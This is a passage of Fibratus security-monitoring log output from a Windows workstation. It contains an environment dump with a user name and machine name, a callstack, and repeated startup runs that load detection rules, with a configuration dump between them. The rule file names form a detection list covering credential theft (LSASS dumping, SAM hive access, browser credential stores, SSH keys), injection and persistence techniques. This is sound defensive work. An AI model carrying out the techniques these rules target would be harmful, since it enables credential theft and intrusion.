(x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff805a6f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff805a6e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff805a6f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff805a7472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff805a7471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff805a74690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff805a74621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff805a746179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff805a72b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa0b361014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa0b173640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa0b173a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa48b053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa48b04e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa48b084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa48b0701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa48b74294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa48b163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa48b16020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa48b3fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4607d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa468e7a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa468e759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa46a6b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa46a6cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffa46a6cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa46a68fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa46a04304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffa468db83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa468db77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa468da662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa468da279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa469aff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffa46a4717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffa469077fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa469062ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa46958013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffa46a686ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa46a62d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffa469abb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffa469ab91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffa0d8fe4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0d8fd534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0d8fc73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0d8fc4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa48bd847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffa48b763d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa46e3e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa48b8c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-21T15:34:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T15:34:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:34:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:35:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:35:55+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:35:55+01:00 level=info msg=bootstrapping with pid 9560. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:35:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-threadpool=>false enable-net=>true enable-mem=>false enable-audit-api=>true enable-fileio=>true max-buffers=>36 min-buffers=>16 flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-thread=>true enable-registry=>true enable-dns=>false buffer-size=>512 enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false endpoints=>[] enabled=>false serializer=>json method=>POST enable-gzip=>false timeout=>5s] elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s healthcheck=>true sniff=>false timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false template-name=>fibratus index-name=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ routing-key=>fibratus delivery-mode=>transient durable=>false timeout=>5s exchange-type=>topic vhost=>/ enabled=>false exchange=>fibratus url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false enabled=>false skip-mmaps=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:35:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:35:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:36:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T15:36:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:36:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:37:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml 